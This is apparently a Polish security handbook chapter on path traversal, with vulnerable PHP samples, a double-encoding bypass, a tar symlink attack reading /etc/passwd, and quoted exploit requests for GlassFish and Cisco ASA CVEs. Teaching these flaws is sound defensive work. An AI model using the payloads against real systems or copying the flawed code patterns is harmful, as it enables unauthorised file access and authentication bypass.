Podręcznik

4. Błędy kontroli dostępu

4.3. Path traversal

Jedną z najbardziej pożądanych - z punktu widzenia atakujących podatności jest brak kontroli nad dostępem bezpośrednim do plików - znany też jako path traversal.

Podatności z rodziny path traversal polegają na nieprawidłowym kontrolowaniu dostępu do plików w drzewie katalogów aplikacji. Jest to jedna z bardziej popularnych kategorii podatności, gdyż pojawia się wszędzie tam, gdzie w jakiś sposób wygenerowana ścieżka dostępu do pliku zależy od danych przekazanych przez użytkownika. Sztandarowym przykładem w języku PHP jest bezpośrednie użycie wartości przekazanej przez użytkownika do konstrukcji ścieżki jak w przypadku CVE-2021-24215  - podatności wtyczki dla CMS Wordpress, która wyglądała w kodzie następująco:

Fragment kodu w formacie diff

W tym przypadku problem ma swoją podstawę w nieprawidłowym modelu zabezpieczeń polegającym na podejściu blokowania stron, do których dostęp ma być zabroniony. Model ten zakłada, że dostęp do wszystkiego jest dozwolony za wyjątkiem wyszczególnionych podstron. Porównując identyfikator podstrony z listą blokujemy dostęp.

Można to zobrazować na następującym przykładzie ataku double encoding:

Załóżmy, że nasza strona ma "czarną listę" stron zabezpieczonych. Mamy dwa pliki:

index.php

<?php
if ($_REQUEST['page']=="mypage.php")
   die("Unauthorized\n\n");

header("Location:".$_REQUEST['page']);

oraz

mypage.php

<?php
echo "Test!\n\n";

Wykonajmy dwa zapytania:

curl -L "<a href="http://172.17.0.2:80/index.php?page=mypage.php" class="_blanktarget">http://172.17.0.2:80/index.php?page=mypage.php</a>"

oraz

curl -L "<a href="http://172.17.0.2:80/index.php?page=%256d%2579%2570%2561%2567%2565%252e%2570%2568%2570" class="_blanktarget">http://172.17.0.2:80/index.php?page=%256d%2579%2570%2561%2567%2565%252e%2570%2568%2570</a>"

Efektem jest poprawne zablokowanie dostępu w pierwszym przypadku i brak blokady w drugim, mimo, że dostęp dotyczy tego samego pliku.

Polecenie powłoki i jego wynik

Poprawiony index.php

<?php
if (urldecode($_REQUEST['page'])=="mypage.php")
	die("Unauthorized\n\n");

header("Location: ".$_REQUEST['page']);

efekt:

Polecenie konsoli i jego wynik

Choć w tym przypadku jest już poprawnie to należałoby zastosować odwrotną logikę aplikacji wychodząc z założenia zablokuj wszystko i dopuść tylko wskazane zasoby.

Innym przykładem jest podatność CVE-2017-1000028 w Oracle GlassFish Server, która umożliwiała dostęp do dowolnego pliku wykorzystując właśnie podobny mechanizm podwójnego kodowania:

GET /theme/META‑INF/prototype%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow

Podatności z kategorii path traversal mogą wykraczać poza klasyczny z PHP przykład

<?php
readfile("document/". $_GET [ "file"] ) ;

I być ukryte w złożonym procesie. Przykładem może być wykorzystanie złośliwego pliku archiwum tar, rozpakowanie go po stronie serwera i odczyt tak przekazanych danych. Inspiracją do poniższego przykładu była podatność CVE-2021-22201 Arbitrary File Read During Project Import (GitLab.com).

Załóżmy, ze zadaniem aplikacji jest załadowanie pliku tar na serwer, rozpakowanie go i serwowanie przez WWW rozpakowanych plików. Można sobie wyobrazić taki scenariusz w systemie współdzielenia plików. Co może pójść źle?

Załóżmy, że pracę wykona skrypt PHP:

<?php 
function rmdir_recursive($dir) {
  foreach(scandir($dir) as $file) {
    if ('.' === $file || '..' === $file) continue;
    if (is_dir("$dir/$file")) 
      rmdir_recursive("$dir/$file");
    else 
      unlink("$dir/$file");
  }
  rmdir($dir);
}

if($_FILES["tar"]["name"]) {
  $filename = $_FILES["tar"]["name"];
  $source = $_FILES["tar"]["tmp_name"];
  $name = explode(".", $filename);
  $path = dirname(__FILE__).'/'; 
  $filenoext = basename ($filename, '.tar');
  $filenoext = basename ($filenoext, '.TAR');

  $targetdir = $path . "test/tar";
  $targettar = $path . "test/" . $filename;
  if (is_dir($targetdir))  
    rmdir_recursive ( $targetdir);
  mkdir($targetdir, 0777);
  $message="Uploaded!";
  if(move_uploaded_file($source, $targettar)) {
    shell_exec("tar -C ".$targetdir." -xf ".$targettar);
    unlink($targettar);
  }
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Untar a tar file to the webserver</title>
</head>
<body>
<?php if($message) echo "<p>$message</p>"; ?>
<form enctype="multipart/form-data" method="post" action="">
<label>Choose a tar file to upload: <input type="file" name="tar" /></label>
<br />
<input type="submit" name="submit" value="Upload" />
</form>
</body></html>

Rozpakowane pliki są dostępne w katalogu /var/www/html/test/tar i można je pobrać przeglądarką.

Przygotujmy więc złośliwy plik archiwum:

mkdir test
cd test
touch plik.txt
ln -s /etc/passwd passwd.txt
tar -cvf wrogi.tar

i po uploadzie naszym formularzem pobierzmy passwd.txt podając pełną ścieżkę

http://url-serwera/test/tar/passwd.txt

Widok onka przeglądarki internetowej

Na serwerze natomiast w tym katalogu mamy:

Listink katalogu

Wykorzystaliśmy tym samym możliwość kompresowania w archiwum tar łączy symbolicznych do nieuprawnionego dostępu do pliku.

Ostatnim przykładem, gdzie pojęcie path traversal tak naprawdę sprowadza się do ominięcia uwierzytelnienia jest CVE-2018-0296 CISCO ASA Web Interface Path Traversal authentication bypass. W tym przypadku założono, że jeżeli ścieżka w zapytaniu zaczyna się na /+CSCOE+/ to zasób nie wymaga uwierzytelnienia, a jeśli na /+CSCOU+/ to wymaga uwierzytelnienia i jeżeli użytkownik nie jest uwierzytelniony, to należy przenieść do procedury uwierzytelnienia. A co jeśli podamy ścieżkę:

GET /+CSCOU+/../+CSCOE+/files/file_list.json 
?
Pozostawmy odgadnięcie efektu czytelnikowi.